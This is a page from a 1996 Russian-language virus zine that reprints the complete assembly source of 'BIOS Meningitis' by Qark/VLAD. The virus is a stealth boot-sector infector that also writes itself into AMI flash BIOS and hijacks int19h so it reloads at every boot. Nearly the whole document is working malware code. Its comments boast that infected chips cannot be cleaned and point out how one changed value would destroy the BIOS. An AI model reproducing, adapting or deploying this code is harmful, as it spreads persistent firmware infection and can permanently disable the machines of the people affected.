▄▄                   ▄
▀▀▀ STEALTH GROUP WW █ Mail:   BOX 15, 125080 MOSCOW   ████████ █████████ █▀▀█
▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀   ┌─┐┬ ┬┌─┤┬ ┬ ╥ ┬┐┌ █▄▄█
 ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█   ▌ █ ▄▀█ █ ▄▀▀ █▄▄    ├┬┘│ │└─┐├─┤   │└┤ ▄  █
  █ █ █ █▀  █▀  █    █  █▀  █ █   █ █ █ █ █ █   █      ┴└─└─┘└─┘┴ ┴   ┴ ┴ ▀▀▀▀
  █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀    ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄   ████  WINTER ' 96  ████
  ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ███████████████████████

    █████████████ BOOT/ FLASH BIOS ВИРУС ██████████████ 

;.........................................................................
;
;                    -=[ BIOS Meningitis ]=-
;                                               Qark/VLAD
;
;
;  Базовый Boot-вирус с извращением.
;
;  Первый в мире вирус, заражающий flash BIOS !
;
;  Только что впихнул все в 512 байт. Фактически there is only four bytes
;  spare... даже не хватило места для имени ! Вирус копирует Partition Table
;  в конец своего тела, but that is 64 bytes that  just couldn't spared,
;  так что при загрузке с дискеты винчестер будет недоступен. Несмотря на 
;  это, перед вами полный stealth вирус.
;
;  Если вы имеете flash BIOS на своем компьютере, у вас есть шанс, что его
;  крупно поимеют. Если чип BIOSа изменен - вам пиздец !  Вы не сможете 
;  загрузиться даже с чистой дискеты. Зараженный чип вы НЕ сможете вернуть
;  в нормальное состояние.
;
;  Будем рады узнать о результатах тестирования на разных flash BIOS'ах.
;
;  Ассемблирован на A86 - как обычно.
;
;.........................................................................


;При входе в boot сектор DL=загрузочный диск.

	org     0        
	
	mov     si,7c00h
	
	xor     ax,ax
	mov     es,ax

	cli
	mov     ss,ax                   ; Установим стек
	mov     sp,si
	sti

	mov     ds,ax                   ;DS,CS,ES,SS=0

;***    40:[13] -       число Кб памяти  -  уменьшить на 1 или более    ***

	dec     word ptr [413h]         ;0:413 = Память в K,  отнять 1 K.
	
	int     12h                     ;Получить размер памяти в AX
					;Так как память в Kb - умножим на 1024
					;используя SHL AX,10. Но, так как нам
					;нужно количество параграфов, то 
					;умножим на 2^(10-4)=2^6

	mov     cl,6
	shl     ax,cl                   ;SHL AX,6
	mov     es,ax                   ;ES = Virus Segment


;***  переносим вирусный сектор в TOM  (top of memory - вершину памяти)    ***

	xor     di,di
	mov     cx,200h
	cld
	rep     movsb                   ;Move virus to ES:0

	mov     ax,word ptr [13h*4]     ;Получить int13h из таблицы векторов
	mov     word ptr es:[offset i13],ax
	mov     ax,word ptr [13h*4+2]
	mov     word ptr es:[offset i13+2],ax

	mov     word ptr [13h*4],offset handler
	mov     word ptr [13h*4+2],es

already_resident:

	push    es
	mov     ax,offset restart
	push    ax
	retf

Restart:
	;Загружаем оригинальный boot sector из конца root directory и 
	;передаем ему управление

	xor     ax,ax
	call    int13h

	xor     ax,ax
	mov     es,ax
	mov     bx,7c00h                ;Туда, где он должен быть.

	mov     cx,2                    ;Читаем оригинальный MBR
	xor     dh,dh
	mov     ax,201h                 ;...он спрятан в root directory
	cmp     dl,80h			
	jae     MBR_Loader
	;грузимся с дискеты
	mov     cl,14                   ;Cylinder=0, Sector=14
	mov     dh,1                    ;Head=1

MBR_Loader:
	call    int13h

	push    dx                      ;DL=номер диска, на котором мы.

	cmp     byte ptr cs:flash_done,1   ;flash уже заражен.
	je      flash_resident

	call    flash_BIOS              ;Заразить flash BIOS 

Flash_resident:

	pop     dx

	db      0eah                    ;JMPF   0000:7C00H
	dw      7c00h
	dw      0
	
Stealth:

	mov     cx,2
	mov     ax,201h
	cmp     dl,80h
	jae     hd_stealth
	mov     cl,14
	mov     dh,1
hd_stealth:
	call    int13h
	jmp     pop_exit
res_test:
	xchg    ah,al
	iret
Handler:
	cmp     ax,0abbah
	je      res_test
	cmp     ah,2            ;Читается первый сектор ?
	jne     jend
	cmp     cx,1
	jne     jend
	cmp     dh,0
	jne     jend

try_infect:

	call    int13h
	jc      jend

	pushf
	push    ax
	push    bx
	push    cx
	push    dx
	push    si
	push    di
	push    es
	push    ds
	
	;Test if already infected.

	cmp     word ptr es:[bx + offset marker],'LV'
	je      stealth                 ;Уже заражен

	cmp     dl,80h                  ;C:
	jb      infect_floppy
	
	mov     cx,2                    ;Sector 2 - Empty MBR space.
	xor     dh,dh
	jmp     write_virus
	
Infect_Floppy:
	;Хранится в конце root directory для дискет.
	;(Глючит с 360k, но мне поебать!)

	mov     cx,14                   ;Cylinder=0, Sector=14
	mov     dh,1                    ;Head=1

Write_Virus:        
	;Write original boot sector to spare room.

	mov     ax,301h
	call    int13h
	jc      pop_exit

	
	push    cs
	pop     es
	
	mov     byte ptr cs:flash_done,0

	xor     bx,bx
	mov     ax,301h                 ;Записат вирус
	mov     cx,1
	xor     dh,dh
	call    int13h

Pop_Exit:
	pop     ds
	pop     es
	pop     di
	pop     si
	pop     dx
	pop     cx
	pop     bx
	pop     ax
	popf

	retf    2

jend:        
	db      0eah                    ;JMP FAR
	i13     dd      0               ;Оригинальный вектор int13h


Int13h  proc    near

	pushf
	call    dword ptr cs:[i13]
	ret

Int13h  endp
	
Marker  db   'VLAD'                     ;Такой маленький (C)
					;Места не хватило


Flash_BIOS      Proc    Near

;               Flash BIOS infection (c) 1994 Qark/VLAD!

;Disclaimer: Если этот код поломает ваш компьютер... что ж - не повезло.
;            Вы знали, что это могло случиться

;Я только надеюсь, что при загрузке грузится AMIFLASH и он не драйвер.
;I just hope that AMIFLASH is loaded at boot and isn't a driver.  Since it's
;written by a BIOS maker you'd think so...


	mov     ax,0e000h               ;Получить версию flash
	int     16h                     ;или проверить наличие
	jc      no_flash_bios
	cmp     al,0fah                 ;<-- проверим это
	jne     no_flash_bios
	
Infect_Flash:

	;Сейчас работаем с AMIFLASH

	; Сначала найдем хорошее место для хранения вируса
	; Просканируем память F000-FFFF, где обычно находится BIOS,
	; на наличие области 1Кб нулей.  (Хватит и пол-кило, но выделим
	; с запасом

	mov     ax,0f000h               ;ROM BIOS segment
	mov     ds,ax

New_segment:

	xor     si,si
	xor     dx,dx

ok_new_segment:

	inc     ax
	mov     ds,ax
	
	cmp     ax,0fff0h               ;Нет места для вируса
	je      no_flash_BIOS
Test16:
	cmp     word ptr [si],0         ;Сканируем по словам
	jne     new_segment
	
	inc     dx                      ;DX - счетчик свободного места
	cmp     dx,512                  ;буффер в 1024 байта найден
	je      found_storage

	inc     si
	inc     si                      ;на 2 байта

	cmp     si,16                   ;We are going up in paragraphs.
	je      ok_new_segment
	jmp     test16


Found_storage:
	sub     ax,40h                  ;Отнять 1K (40hx16=1024)
	mov     ds,ax                   ;используем сегменты

	mov     ax,0e001h               ;Требования к сохранению статуса чипа
	int     16h
	
	;BX=Кол-во байт для сохранения статуса

	cmp     bx,512
	jbe     save_chipset

	;Не будем сохранять статус - зачем тратить лишнее место. Похуй :)

	mov     byte ptr cs:chipset,1   ;Показывает, что мы ничего не сохраняли
	
	jmp     write_enable
No_Flash_BIOS:
	ret
save_chipset:
	mov     byte ptr cs:chipset,0   ;Имеем сохраненный 

	mov     al,2
	push    cs
	pop     es                      ;ES=CS
	mov     di,offset buffer
	int     16h                     ;Статус чипа в ES:DI

write_enable:

	mov     al,5
	int     16h                     ;Повысить напряжение (может занять время)

	mov     al,7                    ;Рзарешить flash для записи
	int     16h

	;Flash память доступна для записи. 
	;Если вы собираетесь вставлять деструкцию, это будет офигенно.
        ;Нужно всего лишь занести 0ffffh в CX, чтобы запакостить компьютер.
        ;Кроме того, оставляя компьютер в этом состоянии долгое время, можно
        ;нанести ущерб. (Нет ? Хотя бы счет за электричество вырастет :)

	push    ds
	pop     es                      ;DS=ES=Место, куда поместится вирус.

	xor     di,di
	mov     cx,512                  ;<-- FFFF = trouble!
	push    cs
	pop     ds                      ;DS=CS
	xor     si,si
	cld
	rep     movsb                   ;Заносим вирус в BIOS
	
	;Записался ?

	;Здесь нужно быть особенно осторожным. Int19h указывает на BIOS,
	;позднее оно перехватывается различными программами (хрен знает зачем)
	;Если трассировать его, вы наткнетесь на shadowed область или на 
	;сегмент 70h, но этого не будет при загрузке; единственное хорошее время
	;для выполнения вируса - при загрузке.

	;Все, что нам нужно - сделать сплайсинг в int19h. Можно перехватить
	;в том месте, где находится сохраненная таблица векторов, но так
	;лучше.

	;Priest-P/S reckoned, что я должен только записать вирус во flash,
	;а потом передавать ему управление из бутового вируса, но я думаю,
	;это будет не совсем заражение. Еще он предложил мне модифицировать
	;вектор int13h.
	
	;Получить Segment:Offset оригинального обработчика int19h

	mov     bx,es                   ;BX=Virus Segment
	xor     ax,ax
	mov     ds,ax                   ;DS=Таблица векторов
	mov     di,word ptr [19h*4]     ;Смещение int19h
	mov     es,word ptr [19h*4+2]   ;Сегмент int19h

	;Записываем JMP FAR по адресу точки входа в int19h.
	mov     al,0eah
	stosb
	mov     ax,offset int19handler
	stosw
	mov     ax,bx
	stosw                           ;Создает JMPF INT19HANDLER в точке
					;входа в int19h.

	mov     ax,0e004h               ;Понизить напряжение.
	int     16h

	mov     al,6                    ;Защитить от записи.
	int     16h

	cmp     byte ptr cs:chipset,0
	jne     No_Flash_BIOS           ;Сделано

	push    cs
	pop     es                      ;ES=CS

	mov     al,3
	mov     di,offset buffer        ;Восстановим все дерьмо
	int     16h
	jmp     no_flash_bios

chipset         db      0       ;1=состояние чипа не сохранено
flash_done      db      0       ;1=загружено из flash

;Наш обработчик int19h. Оригинальный идет на хрен, потому что он не заражен.
;(Странная логика :)        
Int19Handler    Proc    Near
	
	xor     ax,ax
	mov     es,ax           ;ES=0

	mov     ax,0abbah       ;ABBA - от Muriels Wedding.
	int     13h

	cmp     ax,0baabh       ;BAAB - Мне нравится это.
	jne     real_int19h

;Сейчас будем загружать boot. Инсталлируем вирус перед загрузкой бут-сектора.

	push    cs              ;DS=0
	pop     ds
	cld
	xor     si,si
	mov     di,7c00h
	mov     cx,512
	rep     movsb           ;Переносим вирус из BIOS в бут-буффер
	mov     dl,80h          ;Пусть думает, что это C:
	jmp     goto_Buffer     ;Выполнить

real_int19h:
	xor     ax,ax
	int     13h             ;Сброс диска

	mov     cx,1
	mov     dh,0
	mov     ax,201h
	mov     bx,7c00h
	cmp     dl,0
	ja      hd_int19h
	
	int     13h             ;Прочитать boot sector.
	jc      fix_hd

Goto_Buffer:
	mov     byte ptr es:[7c00h+offset flash_done],1

	db      0eah            ;JMPF 0000:7C00
	dw      7c00h
	dw      0
Fix_HD:
	mov     dl,80h          ;Загрузка с C:
HD_Int19h:
	xor     ax,ax
	int     13h             ;Сбросить контроллер.
	mov     ax,201h
	int     13h
	jc      fucked_boot
	jmp     Goto_Buffer

Fucked_boot:
	int     18h             ;Вызывается в случае разьебанного бута.

Int19Handler    EndP

Flash_BIOS      EndP

End_Virus:
	DupSize equ     510 - offset End_Virus
	db      DupSize dup (0)
	db      55h,0aah                        ;Маркер бут сектора

Buffer:                         ;512 байт свободного места.

